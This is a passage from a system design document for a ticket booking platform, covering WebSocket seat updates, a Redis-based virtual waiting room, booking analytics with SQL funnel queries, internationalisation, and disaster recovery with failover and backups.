│    │ Disconnect             │  UNSUBSCRIBE         │       │
│    │───────────────────────>│───────────────────────>│       │
│    │                        │                        │       │
│                                                              │
└─────────────────────────────────────────────────────────────┘

17.2 WebSocket Server Implementation

// websocket-server.js
const WebSocket = require("ws");
const Redis = require("ioredis");

class SeatUpdateServer {
  constructor(server) {
    this.wss = new WebSocket.Server({ server });
    this.redis = new Redis();
    this.subscriber = new Redis();
    this.clients = new Map(); // showId -> Set<WebSocket>

    this.setupRedisSubscriber();
    this.setupWebSocket();
  }

  setupRedisSubscriber() {
    this.subscriber.on("message", (channel, message) => {
      const showId = channel.replace("show:", "");
      this.broadcastToShow(showId, JSON.parse(message));
    });
  }

  setupWebSocket() {
    this.wss.on("connection", (ws, req) => {
      const userId = this.authenticate(req);
      if (!userId) {
        ws.close(4001, "Unauthorized");
        return;
      }

      ws.userId = userId;
      ws.isAlive = true;
      ws.subscribedShows = new Set();

      ws.on("pong", () => {
        ws.isAlive = true;
      });

      ws.on("message", (data) => {
        try {
          const message = JSON.parse(data);
          this.handleMessage(ws, message);
        } catch (err) {
          ws.send(JSON.stringify({ error: "Invalid message format" }));
        }
      });

      ws.on("close", () => {
        this.handleDisconnect(ws);
      });
    });

    // Heartbeat interval
    setInterval(() => {
      this.wss.clients.forEach((ws) => {
        if (!ws.isAlive) {
          this.handleDisconnect(ws);
          return ws.terminate();
        }
        ws.isAlive = false;
        ws.ping();
      });
    }, 30000);
  }

  handleMessage(ws, message) {
    switch (message.type) {
      case "SUBSCRIBE":
        this.subscribeToShow(ws, message.showId);
        break;

      case "UNSUBSCRIBE":
        this.unsubscribeFromShow(ws, message.showId);
        break;

      case "PING":
        ws.send(JSON.stringify({ type: "PONG", timestamp: Date.now() }));
        break;
    }
  }

  async subscribeToShow(ws, showId) {
    // Rate limit: max 5 shows per connection
    if (ws.subscribedShows.size >= 5) {
      ws.send(
        JSON.stringify({
          type: "ERROR",
          message: "Maximum subscriptions reached",
        })
      );
      return;
    }

    // Add to client set
    if (!this.clients.has(showId)) {
      this.clients.set(showId, new Set());
      // Subscribe to Redis channel
      await this.subscriber.subscribe(`show:${showId}`);
    }

    this.clients.get(showId).add(ws);
    ws.subscribedShows.add(showId);

    // Send current state
    const currentState = await this.getShowState(showId);
    ws.send(
      JSON.stringify({
        type: "SHOW_STATE",
        showId,
        seats: currentState,
      })
    );
  }

  unsubscribeFromShow(ws, showId) {
    const clients = this.clients.get(showId);
    if (clients) {
      clients.delete(ws);

      // Cleanup empty sets
      if (clients.size === 0) {
        this.clients.delete(showId);
        this.subscriber.unsubscribe(`show:${showId}`);
      }
    }

    ws.subscribedShows.delete(showId);
  }

  handleDisconnect(ws) {
    for (const showId of ws.subscribedShows) {
      this.unsubscribeFromShow(ws, showId);
    }
  }

  broadcastToShow(showId, message) {
    const clients = this.clients.get(showId);
    if (!clients) return;

    const payload = JSON.stringify(message);

    clients.forEach((client) => {
      if (client.readyState === WebSocket.OPEN) {
        client.send(payload);
      }
    });
  }

  async getShowState(showId) {
    // Get current seat states from Redis
    const seatMap = await this.redis.hgetall(`seats:show:${showId}`);
    return Object.entries(seatMap).map(([seatId, data]) => {
      const [status, price] = data.split(":");
      return { seatId, status, price: parseInt(price) };
    });
  }

  authenticate(req) {
    const token = req.headers["authorization"]?.replace("Bearer ", "");
    if (!token) return null;

    try {
      const decoded = jwt.verify(token, process.env.JWT_SECRET);
      return decoded.userId;
    } catch {
      return null;
    }
  }
}

// Publishing seat updates (from booking service)
async function publishSeatUpdate(showId, seatId, status, userId = null) {
  const redis = new Redis();

  // Update Redis hash
  await redis.hset(
    `seats:show:${showId}`,
    seatId,
    `${status}:${getSeatPrice(seatId)}`
  );

  // Publish event
  await redis.publish(
    `show:${showId}`,
    JSON.stringify({
      type:
        status === "LOCKED"
          ? "SEAT_LOCKED"
          : status === "BOOKED"
          ? "SEAT_BOOKED"
          : "SEAT_RELEASED",
      seatId,
      status,
      userId: userId ? hashUserId(userId) : null, // Privacy
      timestamp: Date.now(),
    })
  );
}

17.3 Client-side WebSocket Hook

function useSeatUpdates(showId) {
  const [seats, setSeats] = useState({});
  const [connected, setConnected] = useState(false);
  const wsRef = useRef(null);
  const reconnectTimeoutRef = useRef(null);

  useEffect(() => {
    connect();

    return () => {
      disconnect();
    };
  }, [showId]);

  const connect = () => {
    const token = getAuthToken();
    const ws = new WebSocket(`${WS_URL}?token=${token}`);

    ws.onopen = () => {
      setConnected(true);
      ws.send(
        JSON.stringify({
          type: "SUBSCRIBE",
          showId,
        })
      );
    };

    ws.onmessage = (event) => {
      const message = JSON.parse(event.data);
      handleMessage(message);
    };

    ws.onclose = () => {
      setConnected(false);
      // Reconnect with backoff
      scheduleReconnect();
    };

    ws.onerror = (error) => {
      console.error("WebSocket error:", error);
    };

    wsRef.current = ws;
  };

  const disconnect = () => {
    if (reconnectTimeoutRef.current) {
      clearTimeout(reconnectTimeoutRef.current);
    }
    if (wsRef.current) {
      wsRef.current.close();
    }
  };

  const scheduleReconnect = () => {
    const delay = Math.min(1000 * Math.pow(2, reconnectAttempts), 30000);
    reconnectTimeoutRef.current = setTimeout(connect, delay);
  };

  const handleMessage = (message) => {
    switch (message.type) {
      case "SHOW_STATE":
        // Initial state
        const seatMap = {};
        message.seats.forEach((seat) => {
          seatMap[seat.seatId] = seat;
        });
        setSeats(seatMap);
        break;

      case "SEAT_LOCKED":
        setSeats((prev) => ({
          ...prev,
          [message.seatId]: { ...prev[message.seatId], status: "LOCKED" },
        }));
        break;

      case "SEAT_BOOKED":
        setSeats((prev) => ({
          ...prev,
          [message.seatId]: { ...prev[message.seatId], status: "BOOKED" },
        }));
        break;

      case "SEAT_RELEASED":
        setSeats((prev) => ({
          ...prev,
          [message.seatId]: { ...prev[message.seatId], status: "AVAILABLE" },
        }));
        break;
    }
  };

  return { seats, connected };
}

// Fallback to polling when WebSocket unavailable
function useSeatUpdatesWithFallback(showId) {
  const ws = useSeatUpdates(showId);
  const [pollingData, setPollingData] = useState(null);

  useEffect(() => {
    if (ws.connected) return;

    // Fallback to polling
    const interval = setInterval(async () => {
      try {
        const response = await fetch(`/api/v1/shows/${showId}/seats`);
        const data = await response.json();
        setPollingData(data.seats);
      } catch (error) {
        console.error("Polling failed:", error);
      }
    }, 5000);

    return () => clearInterval(interval);
  }, [showId, ws.connected]);

  return {
    seats: ws.connected ? ws.seats : pollingData,
    connected: ws.connected,
    isPolling: !ws.connected,
  };
}

18. Virtual Waiting Room

18.1 Queue System Architecture

┌─────────────────────────────────────────────────────────────┐
│              Virtual Waiting Room Architecture               │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  High Traffic Event (100K users, 200 seats)                 │
│                                                              │
│  ┌─────────────────────────────────────────┐               │
│  │           Queue Landing Page             │               │
│  │                                          │               │
│  │  "You are in the queue"                 │               │
│  │  Position: 45,234                        │               │
│  │  Estimated wait: ~15 minutes            │               │
│  │                                          │               │
│  │  [=========>          ] 45%             │               │
│  │                                          │               │
│  │  Don't close this page!                 │               │
│  └─────────────────────────────────────────┘               │
│                     │                                        │
│                     ▼                                        │
│  ┌─────────────────────────────────────────┐               │
│  │         Queue Management Service         │               │
│  │                                          │               │
│  │  - Redis Sorted Set (position)          │               │
│  │  - Token generation                      │               │
│  │  - Rate: 500 users/minute               │               │
│  │  - Fair queuing (FIFO)                  │               │
│  └─────────────────────────────────────────┘               │
│                     │                                        │
│                     ▼                                        │
│  ┌─────────────────────────────────────────┐               │
│  │          Seat Selection (Allowed)        │               │
│  │                                          │               │
│  │  Token validated → Access granted       │               │
│  │  5 minute session limit                 │               │
│  └─────────────────────────────────────────┘               │
│                                                              │
└─────────────────────────────────────────────────────────────┘

18.2 Queue Implementation

// queue-service.js
class VirtualQueue {
  constructor(redis) {
    this.redis = redis;
  }

  async joinQueue(showId, userId) {
    const queueKey = `queue:${showId}`;
    const timestamp = Date.now();

    // Add to sorted set (timestamp as score for FIFO)
    await this.redis.zadd(queueKey, timestamp, userId);

    // Get position
    const position = await this.redis.zrank(queueKey, userId);

    // Calculate estimated wait
    const rate = await this.getProcessingRate(showId);
    const estimatedWait = Math.ceil((position + 1) / rate);

    // Generate queue token (for verification)
    const token = jwt.sign(
      { showId, userId, joinedAt: timestamp },
      process.env.QUEUE_SECRET,
      { expiresIn: "2h" }
    );

    return {
      position: position + 1,
      estimatedWaitMinutes: estimatedWait,
      token,
      totalInQueue: await this.redis.zcard(queueKey),
    };
  }

  async getPosition(showId, userId) {
    const position = await this.redis.zrank(`queue:${showId}`, userId);
    if (position === null) return null;

    return {
      position: position + 1,
      estimatedWaitMinutes: await this.calculateWait(showId, position),
    };
  }

  async processQueue(showId, batchSize = 50) {
    const queueKey = `queue:${showId}`;
    const accessKey = `access:${showId}`;

    // Get next batch of users
    const users = await this.redis.zrange(queueKey, 0, batchSize - 1);

    if (users.length === 0) return [];

    const pipeline = this.redis.pipeline();

    for (const userId of users) {
      // Generate access token
      const accessToken = jwt.sign(
        { showId, userId, grantedAt: Date.now() },
        process.env.ACCESS_SECRET,
        { expiresIn: "5m" } // 5 minute session
      );

      // Store access grant
      pipeline.hset(accessKey, userId, accessToken);
      pipeline.expire(accessKey, 600); // 10 min TTL

      // Remove from queue
      pipeline.zrem(queueKey, userId);
    }

    await pipeline.exec();

    // Notify users (via WebSocket or push)
    await this.notifyAccessGranted(showId, users);

    return users;
  }

  async verifyAccess(showId, userId, token) {
    try {
      const decoded = jwt.verify(token, process.env.ACCESS_SECRET);

      if (decoded.showId !== showId || decoded.userId !== userId) {
        return { valid: false, error: "TOKEN_MISMATCH" };
      }

      // Check if still in access list
      const accessToken = await this.redis.hget(`access:${showId}`, userId);

      if (!accessToken || accessToken !== token) {
        return { valid: false, error: "ACCESS_EXPIRED" };
      }

      return { valid: true, expiresIn: decoded.exp - Date.now() / 1000 };
    } catch (error) {
      return { valid: false, error: "INVALID_TOKEN" };
    }
  }

  async calculateWait(showId, position) {
    const rate = await this.getProcessingRate(showId);
    return Math.ceil((position + 1) / rate);
  }

  async getProcessingRate(showId) {
    // Get historical processing rate or use default
    const rate = await this.redis.get(`rate:${showId}`);
    return parseInt(rate) || 500; // 500 users/minute default
  }
}

// Queue processor (runs every minute)
async function processQueues() {
  const activeShows = await redis.smembers("active_queues");

  for (const showId of activeShows) {
    const queue = new VirtualQueue(redis);
    const processed = await queue.processQueue(showId, 500);

    logger.info(`Processed ${processed.length} users for show ${showId}`);

    // Broadcast queue position updates
    await broadcastQueueUpdate(showId);
  }
}

// Schedule: Run every minute
setInterval(processQueues, 60000);

18.3 Queue UI Component

function WaitingRoom({ showId }) {
  const [queueStatus, setQueueStatus] = useState(null);
  const [accessGranted, setAccessGranted] = useState(false);

  useEffect(() => {
    joinQueue();

    const interval = setInterval(checkStatus, 5000);
    return () => clearInterval(interval);
  }, [showId]);

  const joinQueue = async () => {
    const response = await fetch(`/api/v1/queue/${showId}/join`, {
      method: "POST",
      headers: { Authorization: `Bearer ${token}` },
    });

    const data = await response.json();
    setQueueStatus(data);
    localStorage.setItem(`queue_token_${showId}`, data.token);
  };

  const checkStatus = async () => {
    const queueToken = localStorage.getItem(`queue_token_${showId}`);

    const response = await fetch(`/api/v1/queue/${showId}/status`, {
      headers: {
        Authorization: `Bearer ${token}`,
        "X-Queue-Token": queueToken,
      },
    });

    const data = await response.json();

    if (data.accessGranted) {
      setAccessGranted(true);
      localStorage.setItem(`access_token_${showId}`, data.accessToken);
      // Redirect to seat selection
      window.location.href = `/shows/${showId}/seats?access=${data.accessToken}`;
    } else {
      setQueueStatus(data);
    }
  };

  if (accessGranted) {
    return <Redirect to={`/shows/${showId}/seats`} />;
  }

  return (
    <div className="waiting-room">
      <div className="queue-card">
        <h1>You're in the Queue!</h1>

        <div className="queue-position">
          <span className="position-number">
            {queueStatus?.position?.toLocaleString()}
          </span>
          <span className="position-label">Your position</span>
        </div>

        <div className="progress-bar">
          <div
            className="progress-fill"
            style={{
              width: `${calculateProgress(queueStatus)}%`,
            }}
          />
        </div>

        <div className="estimated-wait">
          <ClockIcon />
          <span>
            Estimated wait: ~{queueStatus?.estimatedWaitMinutes} minutes
          </span>
        </div>

        <div className="queue-info">
          <p>
            <strong>{queueStatus?.totalInQueue?.toLocaleString()}</strong>{" "}
            people in queue
          </p>
          <p>
            Processing <strong>500</strong> users per minute
          </p>
        </div>

        <div className="warning">
          <AlertIcon />
          <p>
            Don't close or refresh this page! You'll lose your position in the
            queue.
          </p>
        </div>
      </div>
    </div>
  );
}

function calculateProgress(status) {
  if (!status || !status.totalInQueue) return 0;
  const behind = status.totalInQueue - status.position;
  return Math.max(0, Math.min(100, (behind / status.totalInQueue) * 100));
}

19. Analytics & Business Metrics

19.1 Event Tracking

// analytics-service.js
class BookingAnalytics {
  constructor(analyticsProvider) {
    this.provider = analyticsProvider;
  }

  // Funnel events
  trackShowViewed(showId, userId, source) {
    this.provider.track("show_viewed", {
      showId,
      userId,
      source, // 'search', 'browse', 'direct'
      timestamp: Date.now(),
    });
  }

  trackSeatSelectionStarted(showId, userId) {
    this.provider.track("seat_selection_started", {
      showId,
      userId,
      timestamp: Date.now(),
    });
  }

  trackSeatsSelected(showId, userId, seatCount, seatTypes) {
    this.provider.track("seats_selected", {
      showId,
      userId,
      seatCount,
      seatTypes, // ['REGULAR', 'PREMIUM']
      timestamp: Date.now(),
    });
  }

  trackLockAcquired(showId, userId, seatCount, lockId) {
    this.provider.track("lock_acquired", {
      showId,
      userId,
      seatCount,
      lockId,
      timestamp: Date.now(),
    });
  }

  trackLockFailed(showId, userId, reason, attemptedSeats) {
    this.provider.track("lock_failed", {
      showId,
      userId,
      reason, // 'SEAT_UNAVAILABLE', 'TIMEOUT', 'ERROR'
      attemptedSeats,
      timestamp: Date.now(),
    });
  }

  trackPaymentInitiated(bookingId, amount, method) {
    this.provider.track("payment_initiated", {
      bookingId,
      amount,
      method,
      timestamp: Date.now(),
    });
  }

  trackPaymentCompleted(bookingId, amount, method, duration) {
    this.provider.track("payment_completed", {
      bookingId,
      amount,
      method,
      paymentDuration: duration,
      timestamp: Date.now(),
    });
  }

  trackBookingConfirmed(bookingId, showId, seatCount, amount) {
    this.provider.track("booking_confirmed", {
      bookingId,
      showId,
      seatCount,
      amount,
      timestamp: Date.now(),
    });
  }

  trackBookingAbandoned(showId, userId, stage, timeSpent) {
    this.provider.track("booking_abandoned", {
      showId,
      userId,
      stage, // 'seat_selection', 'lock_acquired', 'payment'
      timeSpent,
      timestamp: Date.now(),
    });
  }

  trackLockExpired(lockId, showId, userId, seatCount) {
    this.provider.track("lock_expired", {
      lockId,
      showId,
      userId,
      seatCount,
      timestamp: Date.now(),
    });
  }
}

19.2 Metrics Dashboard

┌─────────────────────────────────────────────────────────────────────┐
│                   Booking Analytics Dashboard                        │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  Real-time Metrics (Last 1 Hour)                                    │
│  ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐   │
│  │ Bookings    │ │ Revenue     │ │ Conversion  │ │ Avg. Time   │   │
│  │    1,234    │ │  $45,678    │ │   12.5%     │ │   4m 32s    │   │
│  │  ↑ 15%      │ │  ↑ 22%      │ │  ↓ 2.1%     │ │  ↓ 0:45     │   │
│  └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘   │
│                                                                      │
│  Booking Funnel (Today)                                             │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │ Show Views      ████████████████████████████████ 50,000     │   │
│  │ Seat Selection  ████████████████████ 25,000 (50%)           │   │
│  │ Lock Acquired   ████████████ 12,500 (50%)                   │   │
│  │ Payment Started █████████ 10,000 (80%)                       │   │
│  │ Confirmed       ███████ 6,250 (62.5%)                        │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                      │
│  Abandonment Analysis                                               │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │                                                              │   │
│  │  Seat Selection: 50%  ████████████████████                  │   │
│  │    - No seats available: 30%                                │   │
│  │    - Left page: 15%                                         │   │
│  │    - Error: 5%                                              │   │
│  │                                                              │   │
│  │  Lock Stage: 20%  ████████                                   │   │
│  │    - Lock expired: 60%                                      │   │
│  │    - User cancelled: 35%                                    │   │
│  │    - Error: 5%                                              │   │
│  │                                                              │   │
│  │  Payment: 37.5%  ███████████████                             │   │
│  │    - Payment failed: 45%                                    │   │
│  │    - User cancelled: 40%                                    │   │
│  │    - Timeout: 15%                                           │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                      │
│  Seat Popularity Heatmap                                            │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │     1   2   3   4   5   6   7   8   9  10                   │   │
│  │ A  [░][░][▒][▓][█][█][▓][▒][░][░]  SCREEN                   │   │
│  │ B  [░][▒][▓][█][█][█][█][▓][▒][░]                           │   │
│  │ C  [░][▒][▓][█][█][█][█][▓][▒][░]                           │   │
│  │ D  [░][░][▒][▓][▓][▓][▓][▒][░][░]                           │   │
│  │ E  [░][░][░][▒][▒][▒][▒][░][░][░]                           │   │
│  │                                                              │   │
│  │  ░ Low  ▒ Medium  ▓ High  █ Very High                       │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                      │
│  Top Performing Shows (Today)                                       │
│  ┌────────────────────────────────────┬───────┬─────────┬───────┐ │
│  │ Movie                               │ Seats │ Revenue │ Conv% │ │
│  ├────────────────────────────────────┼───────┼─────────┼───────┤ │
│  │ Avengers: Secret Wars              │ 5,234 │ $78,510 │ 18.5% │ │
│  │ Avatar 4                           │ 3,456 │ $51,840 │ 15.2% │ │
│  │ The Matrix 5                       │ 2,345 │ $35,175 │ 12.8% │ │
│  └────────────────────────────────────┴───────┴─────────┴───────┘ │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

19.3 SQL Queries for Analytics

-- Conversion funnel query
WITH funnel AS (
  SELECT
    DATE(created_at) as date,
    COUNT(DISTINCT CASE WHEN event = 'show_viewed' THEN user_id END) as views,
    COUNT(DISTINCT CASE WHEN event = 'seat_selection_started' THEN user_id END) as selections,
    COUNT(DISTINCT CASE WHEN event = 'lock_acquired' THEN user_id END) as locks,
    COUNT(DISTINCT CASE WHEN event = 'payment_initiated' THEN user_id END) as payments,
    COUNT(DISTINCT CASE WHEN event = 'booking_confirmed' THEN user_id END) as confirmed
  FROM analytics_events
  WHERE created_at >= NOW() - INTERVAL '7 days'
  GROUP BY DATE(created_at)
)
SELECT
  date,
  views,
  selections,
  ROUND(100.0 * selections / NULLIF(views, 0), 1) as view_to_selection,
  locks,
  ROUND(100.0 * locks / NULLIF(selections, 0), 1) as selection_to_lock,
  payments,
  ROUND(100.0 * payments / NULLIF(locks, 0), 1) as lock_to_payment,
  confirmed,
  ROUND(100.0 * confirmed / NULLIF(payments, 0), 1) as payment_to_confirm,
  ROUND(100.0 * confirmed / NULLIF(views, 0), 1) as overall_conversion
FROM funnel
ORDER BY date DESC;

-- Seat popularity by position
SELECT
  s.row_name,
  s.seat_number,
  COUNT(bs.id) as bookings,
  SUM(bs.price) as revenue,
  ROUND(100.0 * COUNT(bs.id) / total.count, 2) as percentage
FROM seats s
LEFT JOIN booking_seats bs ON s.id = bs.seat_id
CROSS JOIN (SELECT COUNT(*) as count FROM booking_seats) total
WHERE bs.created_at >= NOW() - INTERVAL '30 days'
GROUP BY s.row_name, s.seat_number, total.count
ORDER BY bookings DESC;

-- Abandonment analysis
SELECT
  stage,
  reason,
  COUNT(*) as count,
  ROUND(100.0 * COUNT(*) / SUM(COUNT(*)) OVER (PARTITION BY stage), 2) as percentage
FROM (
  SELECT
    CASE
      WHEN event = 'lock_failed' THEN 'seat_selection'
      WHEN event = 'lock_expired' THEN 'lock_stage'
      WHEN event = 'payment_failed' THEN 'payment'
      WHEN event = 'booking_abandoned' THEN properties->>'stage'
    END as stage,
    COALESCE(properties->>'reason', 'unknown') as reason
  FROM analytics_events
  WHERE event IN ('lock_failed', 'lock_expired', 'payment_failed', 'booking_abandoned')
    AND created_at >= NOW() - INTERVAL '7 days'
) abandonment
GROUP BY stage, reason
ORDER BY stage, count DESC;

20. Internationalization (i18n)

20.1 Multi-Currency Support

// currency-service.js
const CURRENCIES = {
  USD: { symbol: "$", position: "before", decimals: 2 },
  EUR: { symbol: "€", position: "before", decimals: 2 },
  GBP: { symbol: "£", position: "before", decimals: 2 },
  INR: { symbol: "₹", position: "before", decimals: 0 },
  JPY: { symbol: "¥", position: "before", decimals: 0 },
};

class CurrencyService {
  constructor(baseCurrency = "USD") {
    this.baseCurrency = baseCurrency;
    this.rates = {};
  }

  async loadRates() {
    const response = await fetch("/api/v1/exchange-rates");
    this.rates = await response.json();
  }

  convert(amount, from, to) {
    if (from === to) return amount;

    const baseAmount = amount / this.rates[from];
    return baseAmount * this.rates[to];
  }

  format(amount, currency) {
    const config = CURRENCIES[currency];
    const formatted = amount.toLocaleString(undefined, {
      minimumFractionDigits: config.decimals,
      maximumFractionDigits: config.decimals,
    });

    return config.position === "before"
      ? `${config.symbol}${formatted}`
      : `${formatted}${config.symbol}`;
  }
}

// React hook
function useCurrency() {
  const [currency, setCurrency] = useState(getUserCurrency());
  const service = useRef(new CurrencyService());

  useEffect(() => {
    service.current.loadRates();
  }, []);

  const formatPrice = useCallback(
    (amount, baseCurrency = "USD") => {
      const converted = service.current.convert(amount, baseCurrency, currency);
      return service.current.format(converted, currency);
    },
    [currency]
  );

  return { currency, setCurrency, formatPrice };
}

20.2 Date/Time Localization

// datetime-service.js
function formatShowTime(dateString, locale, timezone) {
  const date = new Date(dateString);

  return new Intl.DateTimeFormat(locale, {
    weekday: "short",
    month: "short",
    day: "numeric",
    hour: "numeric",
    minute: "2-digit",
    timeZone: timezone,
    hour12: shouldUse12Hour(locale),
  }).format(date);
}

function shouldUse12Hour(locale) {
  const hour12Locales = ["en-US", "en-AU", "en-IN"];
  return hour12Locales.some((l) => locale.startsWith(l.split("-")[0]));
}

// Relative time (e.g., "in 2 hours")
function formatRelativeTime(dateString, locale) {
  const date = new Date(dateString);
  const now = new Date();
  const diffMs = date - now;
  const diffHours = Math.round(diffMs / (1000 * 60 * 60));

  const rtf = new Intl.RelativeTimeFormat(locale, { numeric: "auto" });

  if (Math.abs(diffHours) < 24) {
    return rtf.format(diffHours, "hour");
  }

  const diffDays = Math.round(diffHours / 24);
  return rtf.format(diffDays, "day");
}

// React component
function ShowTime({ showTime }) {
  const { locale, timezone } = useLocale();

  return (
    <time dateTime={showTime}>
      {formatShowTime(showTime, locale, timezone)}
      <span className="relative-time">
        ({formatRelativeTime(showTime, locale)})
      </span>
    </time>
  );
}

20.3 Seat Label Localization

// Different markets use different seat labeling conventions
const SEAT_LABELS = {
  "en-US": {
    rows: "ABCDEFGHIJKLMNOPQRSTUVWXYZ".split(""),
    columns: (n) => n.toString(),
  },
  "ja-JP": {
    rows: "あいうえおかきくけこ".split(""),
    columns: (n) => n.toString(),
  },
  "zh-CN": {
    rows: Array.from({ length: 26 }, (_, i) => `${i + 1}排`),
    columns: (n) => `${n}座`,
  },
  "ar-SA": {
    rows: "أبتثجحخدذرزسشصضطظعغفقكلمنهوي".split(""),
    columns: (n) => n.toLocaleString("ar-SA"),
  },
};

function getSeatLabel(row, col, locale) {
  const labels = SEAT_LABELS[locale] || SEAT_LABELS["en-US"];

  const rowLabel = labels.rows[row] || labels.rows[row % labels.rows.length];
  const colLabel = labels.columns(col + 1);

  // RTL languages might need different formatting
  if (isRTL(locale)) {
    return `${colLabel}${rowLabel}`;
  }

  return `${rowLabel}${colLabel}`;
}

function isRTL(locale) {
  return ["ar", "he", "fa", "ur"].some((l) => locale.startsWith(l));
}

21. Disaster Recovery

21.1 Multi-Region Architecture

┌─────────────────────────────────────────────────────────────┐
│              Multi-Region Disaster Recovery                  │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌─────────────────────┐    ┌─────────────────────┐        │
│  │   Primary Region    │    │   Secondary Region   │        │
│  │   (US-East-1)       │    │   (US-West-2)        │        │
│  │                     │    │                      │        │
│  │  ┌───────────────┐  │    │  ┌───────────────┐  │        │
│  │  │ App Servers   │  │    │  │ App Servers   │  │        │
│  │  │ (Active)      │──┼────┼─>│ (Standby)     │  │        │
│  │  └───────────────┘  │    │  └───────────────┘  │        │
│  │         │           │    │         │           │        │
│  │  ┌───────────────┐  │    │  ┌───────────────┐  │        │
│  │  │ PostgreSQL    │  │    │  │ PostgreSQL    │  │        │
│  │  │ (Primary)     │──┼────┼─>│ (Replica)     │  │        │
│  │  └───────────────┘  │    │  └───────────────┘  │        │
│  │         │           │    │         │           │        │
│  │  ┌───────────────┐  │    │  ┌───────────────┐  │        │
│  │  │ Redis Cluster │  │    │  │ Redis Cluster │  │        │
│  │  │ (Primary)     │──┼────┼─>│ (Replica)     │  │        │
│  │  └───────────────┘  │    │  └───────────────┘  │        │
│  │                     │    │                      │        │
│  └─────────────────────┘    └─────────────────────┘        │
│                                                              │
│  RTO (Recovery Time Objective): < 5 minutes                 │
│  RPO (Recovery Point Objective): < 1 minute                 │
│                                                              │
│  Replication:                                               │
│  - PostgreSQL: Streaming replication (sync)                 │
│  - Redis: Active-Active geo-replication                     │
│  - Files/Tickets: S3 cross-region replication               │
│                                                              │
└─────────────────────────────────────────────────────────────┘

21.2 Failover Procedures

// health-check-service.js
class HealthChecker {
  constructor() {
    this.services = ["database", "redis", "payment-gateway", "notification"];
    this.thresholds = {
      database: { maxLatency: 100, maxErrors: 5 },
      redis: { maxLatency: 10, maxErrors: 3 },
      "payment-gateway": { maxLatency: 5000, maxErrors: 2 },
    };
  }

  async checkAll() {
    const results = await Promise.all(
      this.services.map((service) => this.checkService(service))
    );

    const unhealthy = results.filter((r) => !r.healthy);

    if (unhealthy.length > 0) {
      await this.handleUnhealthy(unhealthy);
    }

    return results;
  }

  async checkService(service) {
    const start = Date.now();

    try {
      switch (service) {
        case "database":
          await db.query("SELECT 1");
          break;
        case "redis":
          await redis.ping();
          break;
        case "payment-gateway":
          await fetch(`${GATEWAY_URL}/health`);
          break;
      }

      const latency = Date.now() - start;
      const threshold = this.thresholds[service];

      return {
        service,
        healthy: latency <= threshold.maxLatency,
        latency,
        timestamp: Date.now(),
      };
    } catch (error) {
      return {
        service,
        healthy: false,
        error: error.message,
        timestamp: Date.now(),
      };
    }
  }

  async handleUnhealthy(services) {
    for (const { service, error } of services) {
      logger.error(`Service unhealthy: ${service}`, { error });

      // Increment error counter
      const errorCount = await redis.incr(`errors:${service}`);
      await redis.expire(`errors:${service}`, 300); // 5 min window

      const threshold = this.thresholds[service]?.maxErrors || 5;

      if (errorCount >= threshold) {
        await this.triggerFailover(service);
      }
    }
  }

  async triggerFailover(service) {
    logger.critical(`Triggering failover for ${service}`);

    switch (service) {
      case "database":
        await this.failoverDatabase();
        break;
      case "redis":
        await this.failoverRedis();
        break;
    }

    // Alert on-call
    await this.alertOncall(service);
  }

  async failoverDatabase() {
    // Promote replica to primary
    await fetch(`${FAILOVER_API}/database/promote`, { method: "POST" });

    // Update connection strings
    await updateDatabaseConfig("secondary");

    // Clear connection pools
    await db.end();
  }
}

// Run health checks every 10 seconds
setInterval(() => healthChecker.checkAll(), 10000);

21.3 Backup and Recovery

// backup-service.js
class BackupService {
  async createBackup(type = "incremental") {
    const timestamp = Date.now();
    const backupId = `backup-${timestamp}`;

    logger.info(`Starting ${type} backup: ${backupId}`);

    try {
      // 1. Database backup
      if (type === "full") {
        await this.fullDatabaseBackup(backupId);
      } else {
        await this.incrementalDatabaseBackup(backupId);
      }

      // 2. Redis snapshot
      await this.redisBackup(backupId);

      // 3. Upload to S3 (with encryption)
      await this.uploadToS3(backupId);

      // 4. Verify backup integrity
      await this.verifyBackup(backupId);

      // 5. Update backup metadata
      await this.updateMetadata(backupId, { type, status: "completed" });

      logger.info(`Backup completed: ${backupId}`);

      return { backupId, status: "success" };
    } catch (error) {
      logger.error(`Backup failed: ${backupId}`, error);
      await this.updateMetadata(backupId, {
        type,
        status: "failed",
        error: error.message,
      });
      throw error;
    }
  }

  async restore(backupId, options = {}) {
    const { targetDatabase, dryRun = false } = options;

    logger.info(`Starting restore from: ${backupId}`);

    // 1. Download from S3
    const backupPath = await this.downloadFromS3(backupId);

    // 2. Verify checksum
    const isValid = await this.verifyChecksum(backupPath);
    if (!isValid) {
      throw new Error("Backup checksum verification failed");
    }

    if (dryRun) {
      logger.info("Dry run complete - backup is valid");
      return { status: "dry-run-success" };
    }

    // 3. Stop incoming traffic
    await this.enableMaintenanceMode();

    try {
      // 4. Restore database
      await this.restoreDatabase(backupPath, targetDatabase);

      // 5. Restore Redis
      await this.restoreRedis(backupPath);

      // 6. Verify restoration
      await this.verifyRestoration();

      // 7. Resume traffic
      await this.disableMaintenanceMode();

      logger.info(`Restore completed from: ${backupId}`);
      return { status: "success" };
    } catch (error) {
      logger.error("Restore failed", error);
      await this.rollback();
      throw error;
    }
  }
}

// Backup schedule
// Full backup: Daily at 2 AM
// Incremental: Every hour
// Retention: 30 days

Summary

This High-Level Design covers a comprehensive ticket booking system with emphasis on:

Consistency: Distributed locking with Redis + DB to prevent double booking
Scalability: Microservices, caching, horizontal scaling
Performance: Sub-second response times through caching and optimization
Reliability: Multi-layer error handling, retry mechanisms, reconciliation
User Experience: Real-time seat updates, clear error messages, smooth flow
Accessibility: Full keyboard navigation, screen reader support, color-blind friendly
Mobile: Touch-optimized UI, offline ticket access, mobile payments
Security: PCI compliance, fraud detection, bot prevention
Observability: Comprehensive analytics, funnel tracking, monitoring
Resilience: Multi-region DR, automated failover, backup/restore

Key Technical Decisions:

Redis for distributed locks (performance + TTL)
PostgreSQL for transactional data (ACID guarantees)
Optimistic + Pessimistic locking (defense in depth)
Event-driven architecture (scalability)
